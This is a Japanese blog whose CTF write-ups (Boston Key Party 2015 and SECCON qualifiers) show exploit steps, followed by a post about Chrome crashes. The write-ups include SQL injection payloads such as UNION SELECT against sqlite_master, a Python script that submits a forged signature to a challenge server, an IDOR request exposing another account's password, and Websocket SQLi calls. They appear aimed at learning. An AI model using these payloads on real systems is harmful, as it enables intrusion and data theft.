妄想まとめ

研究とかWebセキュとか時事ネタとか。 @kazu1130_h

Boston Key Party CTF 2015 Writeup

英語読めないしpythonかけないし辛かったCTFです。
チームとしては620点117位でした。最後の一問コミットしてれば二桁。。。




School Bus 25 Museum of Fine Arts

Because cryptography is hard, we only implemented a hand-made PRNG. What could possibly go wrong? : 25

Level4
http://52.10.107.64:8004/

参加が遅かったため、殆どのWeb問がやぎはしゅに掃除されてたなか残ってた奴。

<html>
<head>
	<title>level4</title>
    <link rel='stylesheet' href='style.css' type='text/css'>
</head>
<body>

<?php
session_start(); 

require 'flag.php';

if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
        die ('Flag: '.$flag);
    else
        print '<p class="alert">Wrong guess.</p>';
}

// Unpredictable seed
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

<section class="login">
        <div class="title">
                <a href="./index.txt">Level 4</a>
        </div>

		<ul class="list">
		<?php
		for ($i=0; $i<3; $i++)
			print '<li>' . mt_rand (0, 0xffffff) . '</li>';
		$_SESSION['password'] = mt_rand (0, 0xffffff);
		?>
		</ul>

        <form method="get">
                <input type="text" required name="password" placeholder="Next number" /><br/>
                <input type="submit"/>
        </form>
</section>
</body>
</html>

アッはいSESSION初期化してませんね。
てわけで、/?password=にアクセスして終了。
Burp立ち上げた意味……。

School Bus 100 Heath Street

During my time at KGB I learned how to hide all the stuff from alpha-dog. But damn it, I somehow lost some of the most important files...

ext4のファイルが落ちてくるのでとりあえずautopsy使ってバラす。
そうすると、大量のドキュメントが。。。

secret32		r		2015-02-06 19:25:33 JST	0000-00-00 00:00:00	2015-02-06 19:25:33 JST	96	44	不明	rrw-r--r--	/img_sec/secret32
secret33		r		2015-02-06 19:25:33 JST	0000-00-00 00:00:00	2015-02-06 19:25:33 JST	115	45	不明	rrw-r--r--	/img_sec/secret33
secret34		r		2015-02-06 19:25:33 JST	0000-00-00 00:00:00	2015-02-06 19:25:33 JST	144	46	不明	rrw-r--r--	/img_sec/secret34
secret35		r		2015-02-06 19:25:33 JST	0000-00-00 00:00:00	2015-02-06 19:25:33 JST	116	47	不明	rrw-r--r--	/img_sec/secret35
secret36		r		2015-02-06 19:25:33 JST	0000-00-00 00:00:00	2015-02-06 19:25:33 JST	140	48	不明	rrw-r--r--	/img_sec/secret36
secret37		r		2015-02-06 19:25:33 JST	0000-00-00 00:00:00	2015-02-06 19:25:33 JST	115	49	不明	rrw-r--r--	/img_sec/secret37
secret38		r		2015-02-06 19:25:33 JST	0000-00-00 00:00:00	2015-02-06 19:25:33 JST	119	50	不明	rrw-r--r--	/img_sec/secret38
secret39		r		2015-02-06 19:25:33 JST	0000-00-00 00:00:00	2015-02-06 19:25:33 JST	115	51	不明	rrw-r--r--	/img_sec/secret39
secret40		r		2015-02-06 19:25:33 JST	0000-00-00 00:00:00	2015-02-06 19:25:33 JST	131	52	不明	rrw-r--r--	/img_sec/secret40
secret41		r		2015-02-06 19:25:33 JST	0000-00-00 00:00:00	2015-02-06 19:25:33 JST	109	53	不明	rrw-r--r--	/img_sec/secret41
secret42		r		2015-02-06 19:25:33 JST	0000-00-00 00:00:00	2015-02-06 19:25:33 JST	110	54	不明	rrw-r--r--	/img_sec/secret42

で、この中にパスワードのかかったZIPがあるのですが、パスワードが不明なので放置。

で、とりあえず王道の未割り当て領域へ。ここにも断片があったり。
f:id:kazu1130_h:20150302024715j:plain


ここを目grepしてたやぎはしゅがこんなファイルを見つける。

f:id:kazu1130_h:20150302031021j:plain

KGB_archでググる
http://jarp.does.notwork.org/diary/201210c.html#20121031


圧縮ファイルかよ!!!!!!

てことで解凍して終了。

ダミーテキストの中はスパイの事だったので、これもダミーかと見逃してましたが、まさかの圧縮ファイルだったという。。。
しかもforemostにかからないし。。。ぐぬぬ

School Bus 200 Riverside

omg tha NSA hacked my super secret login, I caught them exfillin this pcap, am I t3h fuxxed?

一緒についてたPCAPがUSBの通信だったため、とりあえず放置。
その後解くものが無くなったので見てみる。

f:id:kazu1130_h:20150302030050j:plain

Wireshark先生のお陰で俺にも読めるううううううう

http://www.linux-hardware-guide.com/ja/2014-12-07-logitech-m-bj58-mouse-optical-usb-3-button-wheel

こいつか。
さてどんな通信なんだろ……。

linux/drivers/hid/usbhid/usbmouse.c

input_report_key(dev, BTN_LEFT,   data[0] & 0x01);
input_report_key(dev, BTN_RIGHT,  data[0] & 0x02);
input_report_key(dev, BTN_MIDDLE, data[0] & 0x04);
input_report_key(dev, BTN_SIDE,   data[0] & 0x08);
input_report_key(dev, BTN_EXTRA,  data[0] & 0x10);

input_report_rel(dev, REL_X,     data[1]);
input_report_rel(dev, REL_Y,     data[2]);
input_report_rel(dev, REL_WHEEL, data[3]);

なるほどねー。てわけでその通りにやってみる。しかし謎の図形に。うーん……?イミフ。時間もアレだったので、とりあえずバラした結果だけJSON形式で投げて寝た。


翌日スレを見たら

ほよたか氏「それ相対座標じゃない?プロットしてみたよ」


んー……?
ごちゃごちゃした線が交差してるよく分からない画像に。

alcさん「クリックした座標だけ出してみれば?」

f:id:kazu1130_h:20150302031427j:plain


んんんーーー????

やぎはしゅ「それスクリーンキーボードじゃね?」

あっっっ


てことでこうなる

f:id:kazu1130_h:20150302031648g:plain



これを重ねて順にPlotさせて終了。因みに線は座標測定用の目安ですw
最後、flagをコミットする場所を間違えたりミスタイプがあったりしたのをイケメンパケリストことほよたか氏に救って頂いた。
流石イケメンパケリスト!!!


チーム全員が一丸となって解いた感ある問題でした。

Crypt 150 Wood Island

You can try to sign messages and send them to the server, 52.0.217.48 port 60231. Sign the right message and you'll get the flag! Only problem---you don't have the signing key. I will give you this, though: sigs.txt is a file containing a bunch of signatures. I hope it helps. (P.S. Don't try and send the exact signatures in that file---that's cheating!) : 150

時間内にコードが書けずに終わった未練の残る問題。解けたのに。。。。。。

とりあえず圧縮ファイルが落ちてきたので解凍。
distディレクトリに色々あるけどコアはこれ。

from dsa_prime import SAFEPRIME, GENERATOR
from dsa_key import PUBKEY, SECKEY

import hashlib

def elgamal_verify(r, s, m):
    if r <= 0 or r >= SAFEPRIME:
        return False
    if s <= 0 or s >= SAFEPRIME-1:
        return False
    h = int(hashlib.sha384(m).hexdigest(), 16)
    left = pow(GENERATOR, h, SAFEPRIME)
    right = (pow(PUBKEY, r, SAFEPRIME) * pow(r, s, SAFEPRIME)) % SAFEPRIME
    return left == right

DUPLICATES = []

def is_duplicate(s):
    return s in DUPLICATES

import base64, SocketServer, os, sys, json

class ServerHandler(SocketServer.BaseRequestHandler):

    def fail(self, message):
        self.request.sendall(message + "\nGood-bye.\n")
        self.request.close()
        return False

    def captcha(self):
        proof = base64.b64encode(os.urandom(9))
        self.request.sendall(proof)
        test = self.request.recv(20)
        ha = hashlib.sha1()
        ha.update(test)
        if test[0:12]!=proof or not ha.digest().endswith('\xFF\xFF\xFF'):
            self.fail("You're a robot!")

    def handle(self):
        self.captcha()
        sig = self.request.recv(5000)
        sig = json.loads(sig)
        if "r" not in sig or "s" not in sig or "m" not in sig:
            self.request.close()
            return
        r = sig["r"]
        s = sig["s"]
        m = sig["m"]
        if not elgamal_verify(r, s, m):
            self.request.close()
        elif is_duplicate(sig):
            self.request.close()
        elif m != "There is no need to be upset":
            self.request.close()
        else:
            self.request.sendall(FLAG)
            self.request.close()


class ThreadedServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    pass

            


FLAG = ""

if __name__ == "__main__":
    HOST = sys.argv[1]
    PORT = int(sys.argv[2])

    FLAG = open('flag.txt', 'r').read()
    DUPLICATES = open('sigs.txt', 'r').read().split('\n')[:-1]
    DUPLICATES = map(json.loads, DUPLICATES)
    
    server = ThreadedServer((HOST, PORT), ServerHandler)
    server.allow_reuse_address = True
    server.serve_forever()

Elgamal署名かぁ。。。と思ってWikipediaに書いてある通り、int(hash(m))の重複を探してみる。

しかし無い。

うーん……。てかそういやどうしたらFLAGが出るんだっけ

        if not elgamal_verify(r, s, m):
            self.request.close()
        elif is_duplicate(sig):
            self.request.close()
        elif m != "There is no need to be upset":
            self.request.close()
        else:
            self.request.sendall(FLAG)
            self.request.close()


……ん?
is_duplicate(sig)?

sig = self.request.recv(5000)
sig = json.loads(sig)

#--------------------#

def is_duplicate(s):
    return s in DUPLICATES

ふぁーーーーーwwwwwwww
JSONの各要素じゃなくてオブジェクト自体を比較してるしwwww
脆弱性あるじゃねーーーーかwwwwww

てわけで、rms以外に余計なhoge要素を加えたJSONを返せばFLAGが出てくると分かる。

というわけでコード

from dsa_prime import SAFEPRIME, GENERATOR
from dsa_key import PUBKEY, SECKEY

import hashlib
import base64, SocketServer, os, sys, json, socket
import string
import random

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("52.0.217.48", 60231))
proof = s.recv(12)
print proof + "\n"
text = proof

ha = hashlib.sha1()
ha.update(proof)
while not ha.digest().endswith('\xFF\xFF\xFF'):
    ha = hashlib.sha1()
    text = proof+''.join([random.choice(string.ascii_letters + string.digits) for i in range(8)])
    ha.update(text)
print text
s.sendall(text)
s.sendall('{"s": 21054468908426331574045415757705596312490608697034679252162205415258689488938792588831531807614306762187107454355496991706280940746682086684651382392894440056488208110510117519357395297916485175485376815711109501315034875521798843436925869757482592549470778789601115554255653914305843242151026272506459011629018207321332425287985213417534380034990214393005755147720206544994968697500781616394595450665975848378431384407629728617806162081729861628808736537317534949224293348236319554315763862173514513324698536191701038439870012572806910098312290000388970881226934180445872436810927891008412644093329663435621581021347, "r": 14556450625812013575484254421723445809678777888922992010061032704679042904146923866457426159198384764425155312389074479869246038712459861363560250202380689697680368931395645962819850774655376322711776181621394119949333235937168169126299818515407603115358673337217251397556879636425925559398418798688723285385352425490135869490681971673314086977191132841003292451662521230410289882511683145128157815153694864096645608834771938938231775760394427067003660948668863059181615823395710566418746839898936118863944244851022473133036526007136492008659921439714025852802299228292891053541064974277813868083959677233126603099132, "m": "There is no need to be upset","hoge":1}')
print "\nJSONs\n"
flag = s.recv(1024)
print flag

で、ランダムでchapcha飛ばしてるので通らない事もあるため、これを並列させて終了。

しかしコードを書いている間に試合終了。。。pythonでまともにコード書いたの、実は今回のCTFが始まってからだったので、色々詰まりまくって辛かった。。。(´・ω・`)




全体的には中々面白かったかなと思います。
ただWeb成分がもう少し欲しかったですね。
人権はいまだ確保出来ず。とりあえずpythonに慣れなきゃなぁ。

SECCON2014 オンライン予選英語 Writeup

英語ですが日本語でWriteup書きます。
Web200,300しか決められなかったザコなのでこれ終わったら黙って卒論書く作業に戻りますね。。。


Web200 Web200 REA-JUU WATCH

始めてから15分程度で落とした問題

f:id:kazu1130_h:20141207180237j:plain

ファーーーーーーーーーーーwwwww

とりあえずCookieCAKEPHPとか見えたのでSQLとかセッションとかXSSじゃねーなこれ、とアタリを付けました。
黙ってログインしてBurpかませて変態選択肢を選んでたらスコア画面へ。
どうやら僕のリア充度は-229らしいですね。。。
で、Burpをみたら

GET /users/chk/12418 HTTP/1.1
Host: reajuu.pwn.seccon.jp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,zh;q=0.8,ja;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Referer: http://reajuu.pwn.seccon.jp/quiz/7?co=6&ch=19
Cookie: CAKEPHP=mshqfmjppv5bu5gn3ke948lvc3
Connection: keep-alive


HTTP/1.1 200 OK
Date: Sat, 06 Dec 2014 19:06:17 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
Vary: Accept-Encoding
Content-Length: 58
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

{"username":"rtonxsqb","password":"ya4uw46n","point":-229}

なるほどな??

GET /users/chk/1 HTTP/1.1
Host: reajuu.pwn.seccon.jp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,zh;q=0.8,ja;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Referer: http://reajuu.pwn.seccon.jp/quiz/7?co=6&ch=19
Cookie: CAKEPHP=mshqfmjppv5bu5gn3ke948lvc3
Connection: keep-alive



HTTP/1.1 200 OK
Date: Sat, 06 Dec 2014 19:06:44 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
Vary: Accept-Encoding
Content-Length: 61
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

{"username":"rea-juu","password":"way_t0_f1ag","point":99999}

なるほどな???

f:id:kazu1130_h:20141207173020j:plain

( ´_ゝ`)フーン


Web 300 Bleeding "Heartbleed" Test Web

だれか「OSコマンドっぽいね」
ぼく「そだねー。まさかHeartBleedの脆弱性を使う事は無いでしょ(笑)」


f:id:kazu1130_h:20141207172759p:plain

自鯖に向けて撃ったらちゃんと検査しに来てるようで、pcapファイルを開いたらwireshark先生が赤く強調してくれました。
おいおいマジか。。。
しゃあない脆弱性あるサーバ立てて挙動見るかー。


そしてApache,openssl,mod_sslと格闘すること2,3時間。。。



……ハニポでええやん!!!!!



http://packetstormsecurity.com/files/126068/hb_honeypot.pl.txt
Heartbleed Honeypot Script ≈ Packet Storm



神!!!!!!




f:id:kazu1130_h:20141207180223j:plain

というわけで、HBの結果漏れた情報がエスケープされずにSQL文内に組み込まれている、と分かるので、後はガリガリSQLiするだけです。
ソース中に"by KeigoYAMAZAKI"の文字が見えたので、何も考えずにSQLiteのパターンを試して終了。





どっちもやるだけ問題。。。つら。。。
FOR300もWeb400もCrypt200も解けずに、時間と人権だけが溶けたCTFでした。
っらぃ……卒論しょ……

SECCON2014 オンライン予選日本語 Write-up

お疲れ様でした。
今回はなんというか、やるだけ問題しか解けなかったので微妙な人権確保具合でした。



Unknown100 詰将棋

f:id:kazu1130_h:20140720005348p:plain


22銅 12王 5特 同王 10平 6王 11平 同王 4銀 16王 15金引 23王 29金打
の、まで十三手。
ほかの解答もあるらしいのですが、これがぱっと出てきたので、それ以外考えませんでした。

自由に動かせる将棋盤ソフトを探す事が一番めんどくさかったですね!!!
結局ペイントで切り貼りしながら解きました。

まぁ初手銅が出れば後はノリでどうにでもなるかと。

FLAG{4,15,18,22,23,28,29}

Web100 箱庭SQLiチャレンジ

ハイパーやるだけ問題。

00000000' OR 1=1;--
00000000' ORDER BY 6;--
00000000' ORDER BY 5;--
00000000' UNION SELECT 1,1,1,1,sql FROM sqlite_master;--
00000000' UNION SELECT 1,1,1,1,flag FROM seccon;--


これ、DLするときにマルウェアと判定されるし起動するときめっちゃ重いし愛甲さんのサーバにいちいちクエリ飛ばすし、何か色々アレでした。


FLAG{EnjoySQLi}



結局解けませんでしたが、Cryptは既知平文攻撃でflag.zipを解凍し、./cryptを鍵・平文共にいじりながら暗号化して、アルゴリズムを把握しつつ穴を探す感じっぽかったです。
とりあえず暗号化されたデータの先頭4byteが平文時のファイルサイズ*4 で、その後ろに続くのがzlibで圧縮された暗号化データだって事までは特定出来ました。

暗号文4byteにつき平文1byteで、1:1対応っぽかったので、その辺の実装の不備を突くのかな、とか思ってましたが、誰も解けた人が居なかったので何とも……。
暗号勉強しなきゃ

(追記)


あー、鍵と平文をもっとゴネゴネしてれば良かったのか……??

SECCONオンライン予選 Write-up

SECCONオンライン予選にちょこっとだけ参加して遊んできました。
解いたのはWeb400,Bin100,その他200です。

Web400を一番乗りで解いたし、Web500の裏道も見つけたしで、名古屋大会の時よりかは人権があったかなと思います。(ただし未だにやぎはしゅ/10な感じ)
あと何よりボウリングで笑いましたww



さて、では本題。


Web・ネットワーク 400 SECCON競馬

八百長疑惑のあるSECCON競馬ですが、オールスターレースの全着順を予想し、 馬番を1着からカンマ区切りで答えなさい。
===========解答例ここから===========
16,17,12,8,2,15,1,7,9,14,3,5,13,10,11,6,4
===========解答例ここまで===========

既にtyageさんが書いてますが、まぁ冗長なWrite-upでも書こうかなと。


とりあえず何やってるかを見るためにアカウント登録+Burpを挟んで観察。
……ってあれ、何も起こらない。んー???とか思ってたら、Websocketベースのアプリでした。
で、それに対応したProxyツールが無かったので諦めてJSを解析。
client.jsが全てを動かしてるっぽかったので、とりあえず狙いをこのコードに絞る。

と同時に、問題文的にロジック系かSQLiかなー、みたいなアタリもつけとく。終わったレースの結果は表示されているので、時間をいじるなり終わった事にするなり、SQLiするなり、みたいな。

さらっと読んでみるとコメントが入ってるわ難読化されてないわで読みやすい。親切設計。
でも丸々読む気力は無かったので、Chrome(諸事情によりIronだけど)のデベロッパーツールでJS中の適当な所にブレークポイントを入れて、レース結果処理を追っかける。

すると以下のコードが。

	get_race_info: function(message) {
		var socket = this;
		if(message.status!=='OK'){
			return;
		}
		$('h2#race_name').text(message.data.course + (message.data.seq>0?'第'+message.data.seq:'') + 'レース')

		$('div#tabs').css('display', 'block').attr('race_id', message.data.id);

		$('#win_rate').text(message.data.win_rate*10+'G');
		$('#box_rate').text(message.data.box_rate*10+'G');
		
		if(message.data.done){
			socket.emit('get_result', {id: message.data.id});
			$('.result_contents').css('display', 'block');
			$('.vote_contents').css('display', 'none');
			$('.odds_contents').css('display', 'block');
			$('#tabs a[href^="#panel"]:eq(0)').trigger('click');
		} else {
			$('.result_contents').css('display', 'none');
			if(loginuser){
				$('.vote_contents').css('display', 'block');
				$('#tabs a[href^="#panel"]:eq(1)').trigger('click');
			} else {
				$('.vote_contents').css('display', 'none');
				$('#tabs a[href^="#panel"]:eq(2)').trigger('click');
			}
		}
	},

終わっている奴はmessage.data.doneがtrueになってて、その場合はsocket.emit('get_result', {id: message.data.id});を実行している、と。

というわけで

  if(message.data.done){
    (略)
  }

  if(true){
    (略)
  }

に書き換えて実行。


しかし何も起こらず。うーん……そこはチェックされてるみたい。
で、コードを漁っても面白いものが無かったので、今度は視点を変えてSQLiを狙う。しかし前述の通りwebsocketなので、Burpとかは使えない。てわけで、使ったのはこのコード。

		$('a.race').click(function(){
			$('div#tabs').css('display', 'none');
			$('div#odds').css('display', 'none');
			$('div#result').css('display', 'none');
			$('tbody#win_odds').empty();
			$('tbody#box_odds').empty();
			$('tbody#result').empty();
			$('tbody#win_vote').empty();
			$('tbody#box_vote').empty();
			
			var race_id = $(this).attr('id').substr(5);
			// レースIDを指定して、レース情報を取得する
			
			socket.emit('get_race_info', {id: race_id});
			socket.emit('get_entries', {id: race_id});
		});
		if($('#tabs').attr('race_id') && parseInt(message.race_id)==$('#tabs').attr('race_id')){
			socket.emit('get_result', {id: message.race_id});
			$('.vote_contents').fadeOut();
			$('li.result_contents').fadeIn();
		}
	},

これはclient.js中にあったコード。見ての通りクリックされた時に起きるし、Socketの結果に依存せずに実行される。オマケにこれが実行される時はSession周りの処理も終わってるし、何も考えなくても自然な通信が行えるので使いやすい。一方で、SQLエラーでWebsocketに変なメッセージが来たら読み取れない可能性があったので念のためwiresharkで読めるようにしとく。

とりあえず

  socket.emit('get_race_info', {id: "0+1"});
  socket.emit('get_entries', {id: "0+1"});

を実行。そしたらちゃんとid:1のデータを取ってきた。

  socket.emit('get_race_info', {id: "0 OR 1 = 1 #"});
  socket.emit('get_entries', {id: "0 OR 1 = 1 #"});

は何故かエラー。でもSQL syntax errorって返って来た。うん、確定。


後はまぁいつも通りの流れ。要素数探ってく時にget_race_infoは多くてget_entriesは少ないっぽかったから、get_entriesをターゲットにしたくらいしか工夫点無いです。
詳しくはSQL 攻撃方法 とかでググると何か出てきます。凄い時代になったなぁ……。



その他 200 Encode me.

パスワードを答えよ。

encode_me_91

一日目はさらっと流してたけど、二日目の終了1,2時間前によし、やるか!!ってなった。
とりあえずencode 91でググるかー → base91なんてのがあるのか。とりあえず落として試すか → 

PASSWORD/IS/WHICH+ENCODING+DO+YOU+LIKE

取り掛かってから10分もしないうちに解けた。なんという……


バイナリ 100

このゲームをクリアしたらパスワードが得られる。
you will get the password if you get a goal of the dungeon.

game.zip

一日目は見向きもしなかったけど二日目やることが無くなったのでやった問題。

とりあえず解凍してIDA Proに投げ込む。64bit。うん、俺には無理だな。

……いやまてよ、SECCONって確かシューティングゲームとか出てたよな。あん時は画像を差し替えるだけだったな……。
というわけで、チートしてゲームクリアって方針を立てる。

とりあえずRead Meを読む。

DX library
http://homepage2.nifty.com/natupaji/DxLib/

sample code
http://homepage2.nifty.com/natupaji/DxLib/program/dxprogram_3Dmeiro.html

成程、このライブラリとこんな感じのコードで動いてるのか。

起動してみる。やっぱただの迷路。しかも不思議なダンジョンみたいにランダムに変わるのではなく、固定迷路。

で、dataフォルダを漁ると壁の画像とPrintPasswordって書かれた画像と、それぞれのメタセコイア用3Dイメージが。
とりあえず壁を透明にしてみる。

f:id:kazu1130_h:20140126164236j:plain


スタート地点の横にゴールがっ。
でも流石に判定は消えてないので、そのまま進めるなんて事は無い。


透明にした関係で、黒いマスは進める事もあれば進めない事もあるマスに、緑のマスは絶対に進めるマスになった。

あとはコレをがんばって辿ってみるだけ。そんなにMAP広くないので、初見でも2分くらいでゴール出来ると思います。



以上、めっちゃ雑なwrite-upでした。


全体の感想としては、ゴミ箱さんのソロチームに普通に負けたとかkatagaitaiとteam enu強すぎワロタとかですかね。まぁでもバイナリアン無しでここまで取れたので、それなりに良かったかな、みたいな。
あと箱庭XSS、クソワロタです

chromeが死んだお話

ある日突然ChromeがCrashしまくるようになりました。
facebook開いて、適当なリンクに飛ぶと親子タブ共々sad tabになるというsadな状況です。
因みに最初はC9のvikiでCrashしたので、「あ、これなんかやばいモノ埋め込まれたな」とか思って結構焦ったのですが、特に怪しげなものは無く……。


その後も色々な所でクラッシュしまくったので、その中の一つをクラッシュする最小限のコードまで削った結果、原因となるHTML,CSSのコードは特定できました。
ですが、なんでそれで死ぬかが分からず、デバッガを使ってゴリゴリ追いかけていくのはWeb屋的には面倒な上、どうもdllのロードかfunction呼び出しで詰まってるっぽいって事までは分かったのでIssueに投げて放置することにしました。


で、そんなChromeの代用が必要になったので、一時的に乗り換えることにしました。
ですが、使い慣れたブラウザを捨てるのはどうもアレなので、なるべく近いUI/使用感のものでまともに動くのを探しました。

  1. Chromium
    • Chromeの基のブラウザ
    • Blinkというエンジンを使っているらしい。webkitからfork
    • "Google Chrome" - "Google" / 2 (個人的なイメージ)
  2. SRWare Iron
    • Chromiumを基にしたブラウザ
    • ドイツの科学力は(ry
    • webkitのままらしい
    • Chrome的なブラウザが欲しいけどプライバシーが……って人向けらしい


で、ググってて二本目でIron引いて、ChromeでもChromiumでもクラッシュしてたpoc.htmlを見事に正しくレンダリングしてくれたので、そっちに乗り換えることにしました。
因みにこのIron、レジストリを汚さないPortable版もあります。凄くイイネ!!!


乗り換え方は非常に簡単で、http://www.srware.net/en/software_srware_iron_download.phpからPortable版をDLして、適当に入れて、起動するだけです。日本語なので楽チン。

一工夫するなら、SettingsからLanguageに行って日本語を追加して、それでIronを表示させてやると幸せになれます。(何故か英語版が起動したとき用)

あと、Chromeの設定を引き継ぐ方法としては、めっちゃイヤらしいやり方なんですが、

C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default

のデータを適当にコピーすればそのまま使えます。(Defaultは各々のChrome Userにあわせて)
BookmarksとかCookiesとか分かりやすい名前なので、必要そうなのだけコピーして使えばいいと思います。
よく分からないならフォルダ以外全部コピーとかでも動くと思います。


因みにdebug.log中にあったメッセージはこんな感じのです。
[0118/155002:ERROR:client_util.cc(307)] Could not find exported function RelaunchChromeBrowserWithNewCommandLineIfNeeded
各所で話題のエラーみたいですね。
僕の環境ではアンインストールしようが設定初期化しようがダメだったので直すことを諦めました。Chromiumのソースに該当部分があるのですが、直前でdllを読み込んで、そこになければエラーを吐くって内容でした。同名の関数がchrome.dll中にあったし、Process Explorer先生で見た感じどうもcrashしてるchromeではコイツを読み込んでなかったっぽい?(要出典)


Chromeが直ったら戻る予定ですが、Ironは普通に良さげなので乗り換えるのもアリかなぁ。。。